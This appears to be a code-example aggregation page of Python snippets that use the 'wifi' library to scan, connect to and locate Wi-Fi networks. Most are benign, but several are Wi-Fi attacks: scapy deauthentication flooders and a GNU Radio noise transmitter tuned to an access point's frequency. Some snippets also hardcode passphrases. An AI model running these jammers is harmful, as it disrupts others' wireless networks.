예제 #1
0
def ScanWIFI(card):
    try:
        wifiCell = Cell.all(card)
    except:
        wifiCell = Cell.all('wlan0')
        SendData("Something went wrong... using wlan0")
    for i in range(0,len(wifiCell)):
        SendData(str(wifiCell[i]) + " is encrypted: "+ str(wifiCell[i].encrypted) + "= " + str(wifiCell[i].encryption_type) + " | address: " +str(wifiCell[i].address))
    SendData("ScanWIFI-finished")
예제 #2
0
    def test_unencrypted(self):
        cell = Cell()
        cell.ssid = 'SSID'
        cell.encrypted = False

        scheme = Scheme.for_cell('wlan0', 'test', cell)

        self.assertEqual(scheme.options, {
            'wireless-essid': 'SSID',
            'wireless-channel': 'auto',
        })
예제 #3
0
 def __call__(self, iface):
     if not isinstance(iface, Iface):
         raise ValueError(
             'must be of type: net_conf.providers.Iface'
         )
     if not iface.is_wireless():
         raise TypeError(
             'must be of type: wireless'
         )
     cell = Cell([])
     cell.essid = self.essid
     cell(iface)
예제 #4
0
파일: net_scan.py 프로젝트: Apatride/algo
def wifi_scan():
	global connected

	reconnected = 0
	while 1:
		print "Reconnected %d" %reconnected
#Connected, check if still in range
		if connected != "":
			aps = Cell.all(interface)
			inrange = 0
			for ap in range(0, len(aps)):
				if aps[ap].ssid == connected and aps[ap].signal <= -50:
					inrange = 1
			if inrange != 1:
				connected = ""
			else:
				time.sleep(20)
				
#Not connected
		else:
			
			aps = Cell.all(interface)
			for ap in range(0, len(aps)):
				if aps[ap].ssid in known_ssids:
					passwd = known_ssids_pass[known_ssids.index(aps[ap].ssid)]
					scheme = Scheme.for_cell(interface, "target", aps[ap], passwd)
					scheme.delete()
					scheme.save()
					try:
						scheme.activate()
						connected = aps[ap].ssid
						reconnected += 1
						break
					except:
						print "Could not connect"
						continue
					#connect to the AP and stop scanning (return connected = ssid?)
			else:
				for ap in range(0, len(aps)):
					if aps[ap].encrypted == False and connected == "":
						scheme = Scheme.for_cell(interface, "target", aps[ap])
						scheme.delete()
						scheme.save()
						try:
							scheme.activate()
							connected = aps[ap].ssid
							reconnected += 1
							break
						except:
							print "could not connect"
							continue
					else:
						time.sleep(10)
예제 #5
0
    def test_wpa(self):
        cell = Cell()
        cell.ssid = 'SSID'
        cell.encrypted = True
        cell.encryption_type = 'wpa'

        scheme = Scheme.for_cell('wlan0', 'test', cell, 'passkey')

        self.assertEqual(scheme.options, {
            'wpa-ssid': 'SSID',
            'wpa-psk': 'ea1548d4e8850c8d94c5ef9ed6fe483981b64c1436952cb1bf80c08a68cdc763',
            'wireless-channel': 'auto',
        })
예제 #6
0
    def test_wep_ascii(self):
        cell = Cell()
        cell.ssid = 'SSID'
        cell.encrypted = True
        cell.encryption_type = 'wep'

        # ascii key lengths: 5, 13, 16, 29
        ascii_keys = ('a' * 5, 'a' * 13, 'a' * 16, 'a' * 29)
        for key in ascii_keys:
            scheme = Scheme.for_cell('wlan0', 'test', cell, key)

            self.assertEqual(scheme.options, {
                'wireless-essid': 'SSID',
                'wireless-key': 's:' + key
            })
예제 #7
0
    def test_wep_hex(self):
        cell = Cell()
        cell.ssid = 'SSID'
        cell.encrypted = True
        cell.encryption_type = 'wep'

        # hex key lengths: 10, 26, 32, 58
        hex_keys = ("01234567ab", "0123456789abc" * 2, "0123456789abcdef" * 2, "0123456789abc" * 2 + "0123456789abcdef" * 2)
        for key in hex_keys:
            scheme = Scheme.for_cell('wlan0', 'test', cell, key)

            self.assertEqual(scheme.options, {
                'wireless-essid': 'SSID',
                'wireless-key': key
            })
예제 #8
0
    def __init__(self):
        '''
        Constructor method
        '''

        # Default directory & interface
        self.cwd = os.getcwd()
        self.iface = 'wlan0'

        # Try to get wireless gateway details,
        # unless there's no active connection
        try:
            self.ping_ip, self.gw_mac = self.getGateway()
        except:
            self.ping_ip = self.gw_mac = None
            print('Error! \nCheck your connection!')
        finally:
            pass

        # Get the Gateway SSID
        try:
            cell = Cell.all(self.iface)
            x, y = str(list(cell)[0]).split('=')
            self.ssid = y.strip(')')
        except:
            self.ssid = 'Offline'
예제 #9
0
def getWifiNetworks():
	l=[]
	i=0
	scanned=False
	while not scanned and i<3:
		l=[]
		try:
			for cell in Cell.all('wlan0'):
				try:
					name=str(cell.ssid)
					if len(name.strip())>1:
						enc="None"
						if cell.encrypted:
							enc=cell.encryption_type
						l.append((cell.signal,cell.encrypted,cell.ssid,enc))
						
				except:
					logging.warning("Failed to use cell, %s" , cell.ssid)
			scanned=True
		except: # please lets move this (wpa_cli scan / wpa_scan_results ? )
			i+=1
			time.sleep(1)
	l.sort(reverse=True)
	print l
	return l
예제 #10
0
파일: plugin.py 프로젝트: spektom/jutsu
		def scan(iface):
			exp_backoff=1
			for _ in range(5):
				results = []
				for cell in Cell.all(iface):
					c = {
						'ssid': cell.ssid,
						'frequency': cell.frequency,
						'bitrates': cell.bitrates,
						'encrypted': cell.encrypted,
						'channel': cell.channel,
						'address': cell.address,
						'mode': cell.mode,
						'quality': cell.quality,
						'signal': cell.signal
					}
					if cell.encrypted:
						c['encryption_type'] = cell.encryption_type
					results.append(c)
	
				results.sort(key=lambda x: x['signal'], reverse=True)
				if (len(results) > 0):
					break
				sleep(exp_backoff)
				exp_backoff *= 2
				#retry
			return jsonify(results=results)
예제 #11
0
    def scan(self):
        print "Scan Start"
        while True:
            cell = Cell.all(interface)
            print "Rescanning"
            timer = 0
            while timer < 100:
                timer +=1
                S = []
                count = 0
                for c in cell:
                    count += 1
                    #print ":"+ str(count), " ssid:", c.ssid
                        #create dictionary with informnation on the accesss point
                    SSIDS = {"no" : count ,"ssid": c.ssid, "channel":c.channel,"encrypted":c.encrypted, \
                                "frequency":c.frequency,"address":c.address, "signal":c.signal, "mode":c.mode}

                    #if not db.search((where('ssid') == ap["ssid"])) == []:
                   # res =  db.search(where('ssid') == c.ssid)
                    #print db.search(where('ssid') == c.ssid)
                    
                    print  "=----------------------------------"
                   # print  c.address
                    print "---------------------------------------"
                    if db.contains(where('ssid') == c.ssid):
                        print (db.contains((where('ssid') == c.ssid) & (where('address') == str(c.address))))
예제 #12
0
def wifiNetworkSearch(wifiNetwork,wifiRetries,sleepSec=2):
    for k in range(0,3): #Sometimes this will fail if the system is trying to access at the same time
        try:
            logging.debug("Looking for an X2 Wi-Fi network...")
            for i in range(0,wifiRetries):
                ssids=[cell.ssid for cell in Cell.all('wlan0')]
                logging.debug("\nList of all networks found: ")
                for value in ssids: #loop through and print found network names
                    logging.debug(value)
                for ssid in ssids: #loop through found networks and scan for SSID
                    if (wifiNetwork in ssid):
                        done=True
                        logging.debug("Attempt %d of %d was successful",i+1,wifiRetries)
                        logging.debug("Found network: %s",ssid)
                        break
                    else:
                        done=False
                if(done):
                    logging.debug("Successfully found the Wi-Fi network\n")
                    return "Pass"
                else:
                    logging.debug("Failed to find a network with %s in it on attempt %d of %d", wifiNetwork, i+1, wifiRetries)
                    if(i+1<wifiRetries):
                        logging.debug("Waiting %d seconds and retrying...",sleepSec)
                        time.sleep(sleepSec)
                    else:
                        logging.debug("Failed to find X2 network\n")
                        return "Fail-Network not found"
        except:
            time.sleep(2)
            logging.debug("Wi-Fi network resource busy on attempt %d of 3",k+1)
            pass
    else:
        return "Fail-RPi was using the Wi-Fi resource"
예제 #13
0
def testWifi(GPIO,pinDict,x2,mbRetries,wifiNetwork,wifiRetries):
    powerOn(GPIO,pinDict,"IO1")
    print ("=====================")
    print (datetime.datetime.now().strftime("%Y.%m.%d_%H.%M.%S"))
    print ("=====================")

    #NEED TO TURN ON WIFI SWITCH

    searchString=wifiNetwork
    retries=wifiRetries
    sleepSec = 2

    for i in range(0,retries):
        ssids=[cell.ssid for cell in Cell.all('wlan0')]
        print("List of all networks found:",ssids)
        for ssid in ssids:
            if (searchString in ssid):
                done=True
                print("Attempt", i+1, "of", retries, "was successful")
                print("Found network:",ssid)
                break
            else:
                done=False
        if(done):
            return ["Pass"]
        else:
            print("Failed to find a network with", searchString, "in it on attempt", i+1, "of", retries)
            if(i+1<retries):
                print("Waiting", sleepSec, "seconds and retrying...")
                time.sleep(sleepSec)
            else:
                print("Failed to find X2 network")
                return ["Fail-Network not found"]
def scanWifi():
	while 1:
		cellName =None
		cellList = Cell.all('wlan0')


		print "Scan Around Cell"

		for cell in cellList:
			if cell.ssid == 'carcar5':
				cellName =cell


		if cellName is None:
			print "Can not found <carcar5> try again"
			time.sleep(1)
			continue
		else :
			temp = Scheme.find('wlan0','home')
			if temp is not None:
				temp.delete()

			scheme = Scheme.for_cell('wlan0', 'home',cellName, passKey)
			scheme.save()
			scheme.activate()
				
			print "Try connect to <carcar5>"
			myIp = commands.getoutput("hostname -I")
			print "Connection Success my Ip is : " + myIp
			return True
 def handler(self):
     if receive == 'scan':
         print 'Connection from {}'.format(str(self.addr))
         print 'Status: {}'.format(receive)
         file = open('/etc/wpa_supplicant/wpa_supplicant.conf', 'r')
         currentWifi = file.readlines()
         dataSplit = currentWifi[4].split('ssid="')[1]
         currentSSID = dataSplit.split('"')[0]
         file.close()
         data = Cell.all('wlan0')
         self.clientsocket.send(str(len(data)) + '\r\n')
         self.clientsocket.send(currentSSID + '\r\n')
         for i in range(len(data)):
             splitSSid = str(data[i]).split('=')[1]
             self.clientsocket.send(str(splitSSid.split(')')[0]) + '\r\n')
         print 'Exit ScanWifi'
         
     if 'modify' in receive:
         print 'Status: {}'.format(receive)
         ssid = receive.split(':')[1]
         password = receive.split(':')[2]
         editFile = open('/etc/wpa_supplicant/wpa_supplicant.conf','w')
         editFile.write('ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev\n')
         editFile.write('update_config=1\n')
         editFile.write('\nnetwork={\n     ssid="')
         editFile.write(ssid)
         editFile.write('"\n     psk="')
         editFile.write(password)
         editFile.write('"\n}')
         editFile.close()
         print 'Exit Modify Wifi'
         os.system("sudo reboot")
예제 #16
0
def locate():
	aps = {}
	try:
		from wifi import Cell
	except:
		pass
	else:
		interfaces = netifaces.interfaces()
		for interface in interfaces:
			try:
				cells = Cell.all(interface)
			except:
				pass
			else:
				for ap in cells:
					strength = [int(i) for i in ap.quality.split('/')]
					aps[ap.address] = 0-int(strength[0]/strength[1]*100)	

	try:
		import NetworkManager
		manager = NetworkManager.NetworkManager
	except:
		pass
	else:
		for dev in manager.GetDevices():
			sdev = dev.SpecificDevice()
			if sdev.__class__.__name__ == 'Wireless':
				for ap in sdev.GetAccessPoints():
					aps[ap.HwAddress] = 0-ord(ap.Strength)
				
	data = urllib.parse.urlencode([('wifi', 'mac:%s|ss:%d' % (mac, strength)) for mac, strength in aps.items()])
	f = urllib.request.urlopen('https://maps.googleapis.com/maps/api/browserlocation/json?browser=python&sensor=true&%s' % data)
	response = json.loads(f.read().decode('utf-8'))
				
	return response['location']['lat'], response['location']['lng'], response['accuracy']
예제 #17
0
def sample_interface_neighbourhood(network_interface, networks = None, network_states = None):
	"""sample interface neighbourhood"""

	networks = networks if networks else {}
	network_states = network_states if network_states else {}

	timestamp = str(datetime.datetime.now())
	cells = Cell.all(network_interface)

	for cell in cells:

		network_key = render_network_key(cell.ssid, cell.address)

		if network_key not in networks.keys():

			network = new_network(
				cell.address, cell.ssid, cell.frequency,
				cell.encryption_type if cell.encrypted else None, cell.encrypted, cell.mode,
				cell.bitrates, cell.channel)

			networks[network_key] = network
			network_states[network_key] = new_network_state()

		network_state = network_states[network_key]

		network_state['time'].append(time)
		network_state['signal'].append(cell.signal)
		network_state['quality'].append(cell.quality)

	return networks, network_states
    def get(self):
        cells = Cell.all('wlan0')
        items = []
        for cell in cells:
            items.append(cell.__dict__)

        self.write(json.dumps(items))
예제 #19
0
파일: Wifi.py 프로젝트: codylallen/ece477
	def ScanForNetworks(self):
	    cells = Cell.all(WIRELESS)
	    listOfCells = []
	    for cell in cells:
	        if str(cell.ssid) not in listOfCells:
	            listOfCells.append(str(cell.ssid))
	    return(listOfCells)
예제 #20
0
파일: menu.py 프로젝트: opieters/wcamera
 def new_wifi_connection(self):
     ssids = [cell.ssid for cell in Cell.all('wlan0')]
     if len(ssids) > 0:
         ssid = ssids[self.ui.select_from_list(ssids,display_message="Select SSID",controls=False)]
     pwd = self.ui.enter_text("Enter SSID pwd",Menu.space+Menu.letters+Menu.numbers+Menu.symbols)
     self.core.setup_wifi_connection(ssid,pwd)
     return self.edit_wifi_menu
예제 #21
0
    def scan(self, event=None):
        LOG.info("Scanning wifi connections...")
        networks = {}
        status = self.get_status()

        for cell in Cell.all(self.iface):
            if "x00" in cell.ssid:
                continue  # ignore hidden networks
            update = True
            ssid = cell.ssid
            quality = self.get_quality(cell.quality)

            # If there are duplicate network IDs (e.g. repeaters) only
            # report the strongest signal
            if networks.__contains__(ssid):
                update = networks.get(ssid).get("quality") < quality
            if update and ssid:
                networks[ssid] = {
                    'quality': quality,
                    'encrypted': cell.encrypted,
                    'connected': self.is_connected(ssid, status)
                }
        self.ws.emit(Message("mycroft.wifi.scanned",
                             {'networks': networks}))
        LOG.info("Wifi connections scanned!\n%s" % networks)
 def run(self):
     #try:
     #print Cell.all(self.interface)[0]
     cell = Cell.all(self.interface)[0]
     scheme = Scheme.for_cell(self.interface, self.ssid, cell, self.passphrase)
     #scheme.save()
     self._return = scheme.activate()
    def get_location(self):

        """Obtains the physical location using nearby Wi-Fi networks.

        :returns: a Dict containing the lat & lon for the current location.

        According to Google's API specification, two or more access points are
        required for a result to be returned. In case a result is not returned,
        or another error occurs, a LocationError is raised.
        """

        # Get full information for all visible access points
        networks = Cell.all(self.interface)
        addresses = []

        # Extract just the MAC addresses
        for network in networks:
            addresses.append({'macAddress': network.address})

        json_response = requests.post(
            GOOGLE_LOCATION_URL.format(GOOGLE_API_KEY),
            data=json.dumps({'wifiAccessPoints': addresses}),
            headers=JSON_REQUEST_HEADERS
        ).json()

        # Handle Google returning an error.
        if "error" in json_response:
            raise LocationError("Unable to determine location")
        else:
            return {
                'lat': json_response['location']['lat'],
                'lon': json_response['location']['lng']
            }
예제 #24
0
파일: cli.py 프로젝트: Evanito/wifi
def find_cell(interface, query):
    cell = Cell.where(interface, lambda cell: cell.ssid.lower() == query.lower())

    try:
        cell = cell[0]
    except IndexError:
        cell = fuzzy_find_cell(interface, query)
    return cell
예제 #25
0
 def get_networks(self):
     '''get a list of networks...'''
     networks = Cell.all(self.interface)
     if networks:
         return networks
     else:
         logging.warn("Unable to find networks - Interface {}".format(self.interface))
         return []
예제 #26
0
파일: snuffel.py 프로젝트: javl/snuffel
def get_available_networks():
    """ Returns a list of available wifi networks """
    try:
        ssids = [[cell.ssid, cell.encrypted] for cell in Cell.all('wlan1')]
    except:
        print "Error getting available networks; is iwlist available on your machine?"
    json_output = json.dumps(ssids)
    return json_output
예제 #27
0
 def wifi_scan(self, iface):
     l = []
     print "[*] Scanning on: %s" % str(iface)
     self.ssid_list = Cell.all(iface)
     self.ssid_list_len = len(self.ssid_list)
     self.wli = -1
     for i in xrange(self.ssid_list_len):
         l.append(unicode(self.ssid_list[i]))
     return l
예제 #28
0
def wifi_scan(iface):
    l = []
    print "scanning on %s" % str(iface)
    global ssid_list
    ssid_list = Cell.all(iface)
    ssid_list_len = len(ssid_list)
    for i in xrange(ssid_list_len):
        l.append(unicode(ssid_list[i]))
    return (l)
예제 #29
0
def log_ssids():
    """
    scan for local Wifi points and log the SSID's to file
    """
    print('Scanning for wifi access points...')
    ssids = [cell.ssid for cell in Cell.all('wlan0')]
    with open('ssids.lis', 'w') as f:
        for s in ssids:
            f.write(s + '\n')
예제 #30
0
def check_Wifi_connected():
    wifi = Cell.all('wlan0')[0]
    if wifi.ssid != "":
        return True
    else:
        return False
                          },                         
                         ],

                    "Peripherals":{
                    "USB":[
                       {
                        "Device":"usb devices"
                       }                    
                      ]                    
                    },
                    "Last_update":"time"                           
                 }
        }
        
try:
  a=Cell.all('wlan0')
  if len(a) > 0:
        ssid = a[0]       #Cell(ssid=Maxcotec)
        ssid = str(ssid)
        ssid = ssid[10:ssid.index(")")]        
        my_dict["status"]["Networks"]["Wifi"]["SSID"] = ssid
        my_dict["status"]["Networks"]["Wifi"]["status"] = "Connected"
  else:
        my_dict["status"]["Networks"]["Wifi"]["SSID"] = "--"   
        my_dict["status"]["Networks"]["Wifi"]["status"] = "Not Connected" 
except Exception as e:
    print e


@app.route('/status/update_status', methods=['POST'])
def keep_alive():
room = "kitchen"
time_of_day = "night"

filepath = f"{folder}{room}-{time_of_day}.csv"

# Opens a csv file
with open(filepath, "w", newline="") as csvfile:
    filewriter = csv.writer(csvfile, quotechar=" ", quoting=csv.QUOTE_MINIMAL)

    print(f"Collecting data for the {room} in the {time_of_day}.")

    # do 30 scans with 5 seconds of delay between each one
    for i in range(30):
        # find all valid cells in the network device 'wlp3s0'
        valid_cell = 0
        cells_list = Cell.all("wlp3s0")
        while valid_cell == 0:
            cells_list = Cell.all("wlp3s0")
            # check if the cell is valid
            for cell in cells_list:
                valid_cell = 1
                break

        # Initialize an empty row
        row = [f"{i}, "]

        # loop through the cells appending in the row list
        for cell in cells_list:
            row[0] += (
                f"{cell.ssid}, {cell.quality}, {cell.signal}, {cell.channel}, "
            )
예제 #33
0
from scapy.all import *
from wifi import Cell
import time
import wireless

wifi1 = wireless.Wireless()
interface = wifi1.interface()

all_wifi = Cell.all(interface)
#print "SSID\t BSSID\t Channel\t Power\t"
print "[+] scannig for networks .."
bssid = []
time.sleep(2)
for wi in all_wifi:
    print "SSID is    : " + wi.ssid
    print "BSSID is   : " + wi.address
    print "Channel is : " + str(wi.channel)
    print "Quality is : " + str(wi.quality)
    print "+" * 20
    bssid.append(wi.address)
    time.sleep(0.5)

print "#" * 70


def jam(address):
    conf.iface = "mon1"
    bssid = address
    client = "FF:FF:FF:FF:FF:FF"  #
    count = 3
    conf.verb = 0
예제 #34
0
# pip3 install wifi

from wifi import Cell, Scheme

cells = Cell.all('wlan0')
for cell in cells:
	print(cell.ssid)
예제 #35
0
from wifi import Cell, Scheme

cell = Cell.all('en0')

# cell = Cell.all('en0')[0]
# scheme = Scheme.for_cell('en0', 'home', cell, passkey)
# scheme.save()
# scheme.activate()
#
# scheme = Scheme.find('en0', 'home')
# scheme.activate()
예제 #36
0
                            fill=(255, 0, 0),
                            size=25,
                            display=False)
    psm.screen.drawButton(35,
                          160,
                          width=250,
                          height=40,
                          text="Continue",
                          display=False)
    psm.screen.fillRect(0, 0, 1, 1, fill=(0, 0, 0), display=True)
    while True:
        cont = psm.screen.checkButton(35, 160, 250, 40)
        if cont: sys.exit(0)

current = wifi.current()  # Currently connected network
available = Cell.all(wlan_interface)  # Available networks
box = TouchScreenInput(psm.screen)


# Writes wifi configuration to wpa_supplicant.conf
def write_to_config(new):
    # Makes backup by appending to wpa_supplicant.conf~bk
    with open(config_file, "r") as f:
        bak = f.read()
    with open(config_file + "~bk", "a+") as f:
        f.write("\n\n---------------------------\n" + str(int(time.time())) +
                "\n\n" + new)
    # Writes new configuration
    with open(config_file, "w") as f:
        f.write(new)
예제 #37
0
from wifi import Cell, Scheme
Cell.all('wlan0')
cell=Cell.all('wlan0')[0]
scheme=Scheme.for_cell('wlan0','home',cell,"Decimals10")
#in place of deciamls 10 we can get variable
scheme.save()
scheme.activate()

예제 #38
0
파일: pc2serial.py 프로젝트: psh117/aflier
 def __init__(self):
     threading.Thread.__init__(self)
     self.__cell = Cell.all('wlan0')
     self.__continue = True
예제 #39
0
파일: pc2serial.py 프로젝트: psh117/aflier
def get_wifi_ssid(cell):
    cell = Cell.all('wlan0')
    ssids = [cells.ssid for cells in cell]
    return ssids
예제 #40
0
def scanForCells():
    # Scan using wlan0
    cells = Cell.all('wlan0')

    return cells
예제 #41
0
    def __init__(self):
        gr.top_block.__init__(self, "Not titled yet")
        Qt.QWidget.__init__(self)
        self.setWindowTitle("Not titled yet")
        qtgui.util.check_set_qss()
        try:
            self.setWindowIcon(Qt.QIcon.fromTheme('gnuradio-grc'))
        except:
            pass
        self.top_scroll_layout = Qt.QVBoxLayout()
        self.setLayout(self.top_scroll_layout)
        self.top_scroll = Qt.QScrollArea()
        self.top_scroll.setFrameStyle(Qt.QFrame.NoFrame)
        self.top_scroll_layout.addWidget(self.top_scroll)
        self.top_scroll.setWidgetResizable(True)
        self.top_widget = Qt.QWidget()
        self.top_scroll.setWidget(self.top_widget)
        self.top_layout = Qt.QVBoxLayout(self.top_widget)
        self.top_grid_layout = Qt.QGridLayout()
        self.top_layout.addLayout(self.top_grid_layout)

        self.settings = Qt.QSettings("GNU Radio", "wifi")

        try:
            if StrictVersion(Qt.qVersion()) < StrictVersion("5.0.0"):
                self.restoreGeometry(self.settings.value("geometry").toByteArray())
            else:
                self.restoreGeometry(self.settings.value("geometry"))
        except:
            pass

        ##################################################
        # Variables
        ##################################################

        cell = Cell.all('wlan0')
        results = []
        for i in cell:
            inside = []
            
            freq_st = i.frequency
            number = freq_st.split()[0]
            freq = int(float(number)*1000000000)

            inside.append(i.ssid)
            inside.append(freq)
            results.append(inside)

        print("Select access point: ")
        for i in range(0, len(results)):
            print('{} - {}'.format(i+1, results[i][0]))

        menu = int(input('Access point number - '))-1

        self.wifi_freq = wifi_freq = results[menu][1]
        self.samp_rate = samp_rate = 32000


        ##################################################
        # Blocks
        ##################################################
        self.qtgui_waterfall_sink_x_0 = qtgui.waterfall_sink_c(
            1024, #size
            firdes.WIN_HANN, #wintype
            wifi_freq, #fc
            samp_rate, #bw
            "", #name
            1 #number of inputs
        )
        self.qtgui_waterfall_sink_x_0.set_update_time(0.10)
        self.qtgui_waterfall_sink_x_0.enable_grid(True)
        self.qtgui_waterfall_sink_x_0.enable_axis_labels(True)



        labels = ['', '', '', '', '',
                  '', '', '', '', '']
        colors = [0, 0, 0, 0, 0,
                  0, 0, 0, 0, 0]
        alphas = [1.0, 1.0, 1.0, 1.0, 1.0,
                  1.0, 1.0, 1.0, 1.0, 1.0]

        for i in range(1):
            if len(labels[i]) == 0:
                self.qtgui_waterfall_sink_x_0.set_line_label(i, "Data {0}".format(i))
            else:
                self.qtgui_waterfall_sink_x_0.set_line_label(i, labels[i])
            self.qtgui_waterfall_sink_x_0.set_color_map(i, colors[i])
            self.qtgui_waterfall_sink_x_0.set_line_alpha(i, alphas[i])

        self.qtgui_waterfall_sink_x_0.set_intensity_range(-140, 10)

        self._qtgui_waterfall_sink_x_0_win = sip.wrapinstance(self.qtgui_waterfall_sink_x_0.pyqwidget(), Qt.QWidget)
        self.top_grid_layout.addWidget(self._qtgui_waterfall_sink_x_0_win)
        self.osmosdr_sink_0 = osmosdr.sink(
            args="numchan=" + str(1) + " " + ""
        )
        self.osmosdr_sink_0.set_time_unknown_pps(osmosdr.time_spec_t())
        self.osmosdr_sink_0.set_sample_rate(samp_rate)
        self.osmosdr_sink_0.set_center_freq(wifi_freq, 0)
        self.osmosdr_sink_0.set_freq_corr(0, 0)
        self.osmosdr_sink_0.set_gain(47, 0)
        self.osmosdr_sink_0.set_if_gain(20, 0)
        self.osmosdr_sink_0.set_bb_gain(20, 0)
        self.osmosdr_sink_0.set_antenna('', 0)
        self.osmosdr_sink_0.set_bandwidth(0, 0)
        self.analog_noise_source_x_0 = analog.noise_source_c(analog.GR_GAUSSIAN, 10, 1)



        ##################################################
        # Connections
        ##################################################
        self.connect((self.analog_noise_source_x_0, 0), (self.osmosdr_sink_0, 0))
        self.connect((self.analog_noise_source_x_0, 0), (self.qtgui_waterfall_sink_x_0, 0))
예제 #42
0
def create_wifi_scheme(name, password):
    cell = Cell.all('wlan0')[0]
    scheme = Scheme.for_cell('wlan0', name, cell, password)
    scheme.save()
예제 #43
0
    data_frame = pd.DataFrame({
        'SSID': ssid,
        'Signal': signal,
        'MAC ADDRESS': mac
    })
    return data_frame


if __name__ == "__main__":
    parser = make_parser()
    args = parser.parse_args()

    try:
        #Getnic.interfaces()[2] usually returns the correct interface, but you can change it if not works for you
        interface = str(getnic.interfaces()[2])
        networks = Cell.all(interface)
    except:
        print(
            "Unavailable or incorrect wireless interface. Please inform the correct one:"
        )
        interface = input()
        try:
            networks = Cell.all(interface)
        except:
            print(
                "Please run \"nmcli device status\" command to check your system WiFi interfaces."
            )
            exit(0)

    print("__________________Wifi Networks Scanner__________________")
예제 #44
0
            log(0, "configuracion leida.")
        except:
            # error.
            log(5, "Imposible leer la configuracion")
            wifi = 0
            conectado = 0
            internet = 0
            estado = 0
            wait = 10

    elif estado == 1:
        # Leemos las redes disponibles.
        try:
            import shutil
            File = file(FILE_REDES_WIFI, 'w')
            todos = Cell.all("wlan0")
            for celda in todos:
                File.write(celda.ssid + "\n")
            File.close()
            shutil.copy2(FILE_REDES_WIFI, FILE_SEND_REDES_WIFI)
            log(
                1,
                "Leidas redes wifi al fichero /tmp/redes_wifi.txt -> send/redes_wifi.txt"
            )
        except:
            log(4, "Error Listar Redes Wifi.")

        # buscamos el ssid:
        try:
            cell = Cell.where(
                "wlan0", lambda cell: cell.ssid.lower() == wifissid.lower())
예제 #45
0
파일: weech.py 프로젝트: nbdy/weech
 def get_cell(ssid, interface):
     r = Cell.all(interface)
     for c in r:
         if c.ssid == ssid:
             return c
     return None
예제 #46
0
    choice = str(raw_input("Do you Wish to Scan for KARMA access points y/n"))
    if choice == "y" or choice == "Y":
        k = karmaid()
        val = k.fakeSSID()
        print "^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^"
        print "karma", val, "detected"
        print "^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^"
    else:
        pass

    print ""
    interface = str(raw_input("Choose iface: "))
    os.system("sudo ifconfig %s down" % interface)
    os.system("sudo iwconfig " + interface + " mode managed")
    os.system("sudo ifconfig %s up" % interface)
    cell = Cell.all(interface)

    Auth_AP = {}
    S = []
    #have a counter for user choice input
    count = 0

    for c in cell:
        count += 1
        print ":" + str(count), " ssid:", c.ssid
        #create dictionary with informnation on the accesss point
        SSIDS = {"no" : count ,"ssid": c.ssid, "channel":c.channel,"encrypted":c.encrypted, \
                    "frequency":c.frequency,"address":c.address, "signal":c.signal, "mode":c.mode}
        #append this dictionary to a list
        S.append(SSIDS)
예제 #47
0
파일: wificonn.py 프로젝트: r-3than/ethanpi
from wifi import Cell, Scheme
print(Cell.all('wlan0'))
for obj in Cell.all('wlan0'):
    if obj.ssid == "REAPER":
        scheme = Scheme.for_cell('wlan0', 'home', obj, "4f3cf593aa")
        scheme.save()
        scheme.activate()

예제 #48
0
파일: vifi.py 프로젝트: zronn/SmartSecCam
from wifi import Cell, Scheme

cells = Cell.all('wlp3s0')
for cell in cells:
    print('#############################')
    print(cell.ssid)
    print(cell.signal)
    print(cell.quality)
    print(cell.frequency)
    print(cell.bitrates)
    print(cell.encrypted)
    print(cell.channel)
    print(cell.address)
    print(cell.mode)

# i = 0

# while (cells[i]):
#     print('#############################')
#     print(cells[i].ssid)
#     print(cells[i].signal)
#     print(cells[i].quality)
#     print(cells[i].frequency)
#     print(cells[i].bitrates)
#     print(cells[i].encrypted)
#     print(cells[i].channel)
#     print(cells[i].address)
#     print(cells[i].mode)
예제 #49
0
#!/usr/bin/python2.7

import wireless
from wifi import Cell
from scapy.all import *

wifi1 = wireless.Wireless()
interface = wifi1.interface()

all_wifi_networks = Cell.all(interface)
bssids = []
for wifi in all_wifi_networks:
    print "Network Name (ssid) : " + wifi.ssid
    print "Network Address (bssid) : " + wifi.address
    print "Network Channel : " + str(wifi.channel)
    print "Network Quality : " + str(wifi.quality)
    bssids.append(wifi.address)


def jam(address):
    conf.iface = "mon1"
    bssid = address
    client = "FF:FF:FF:FF:FF:FF"  #
    count = 3
    conf.verb = 0
    packet = RadioTap() / Dot11(
        type=0, subtype=12, addr1=client, addr2=bssid,
        addr3=bssid) / Dot11Deauth(reason=7)
    for n in range(int(count)):
        sendp(packet)
        print 'Deauth num ' + str(
예제 #50
0
from wifi import Cell, Scheme
import texttable as tt
import time

while (True):
    print("\033c")
    headings = [
        'ssid', 'quality', 'frequency', 'signal', 'mode', 'address', 'type'
    ]
    table = tt.Texttable()
    table.set_deco(2)
    table.header(headings)

    networks = list(Cell.all('wlan0'))
    for net in networks:
        # set up the tabl
        ssidList = list()
        qualityList = list()
        frequencyList = list()
        signalList = list()
        modeList = list()
        addressList = list()
        typeList = list()

        enc_type = net.encryption_type if net.encrypted else 'open'

        ssidList.append(net.ssid)
        qualityList.append(net.quality)
        frequencyList.append(net.frequency)
        signalList.append(net.signal)
        modeList.append(net.mode)
예제 #51
0
import wireless, os, sys
from wifi import Cell
from scapy.all import *

uid = os.getuid()
if uid == 0:
    pass
else:
    print('Error! Run it as root!!')
    sys.exit(0)

WIFI = wireless.Wireless()
interface = WIFI.interface()
print('Loading...')
wifi_in_range = Cell.all(interface)
bssids = []

print("""
 ┬┌─┐┌┬┐┌┬┐┌─┐┬─┐
 │├─┤││││││├┤ ├┬┘
└┘┴ ┴┴ ┴┴ ┴└─┘┴└─
By: Anikin Luke

	""")

for wifi in wifi_in_range:
    print(f'Network (ssid): {wifi.ssid}')
    print(f'Network (Bssid) : {wifi.address}')
    print(f'Channel: {wifi.channel}')
    print(f'Nework quality: {wifi.quality}')
    bssids.append(wifi.address)
예제 #52
0
def retrieve():
    data = Cell.all('wlan0')
    return data
예제 #53
0
        datast = datast + "Quality: " + str(cll.quality) + "\n"
    return datast


def lrg_dwnl():
    t = time.time()
    time2dwnl = 0
    mp3file = urllib2.urlopen("http://download.thinkbroadband.com/10MB.zip")
    output = open('test.mp3', 'wb')
    output.write(mp3file.read())
    time2dwln - time.time() - t
    output.close()
    return str(time2dwnl)


cellx = Cell.all('wlan0')
try:
    while state == "run":
        data = "Counter %d \n" % (counter)
        #ser.write("Hello\n")
        print data
        time.sleep(1)
        counter += 1
        x = ser.readline()
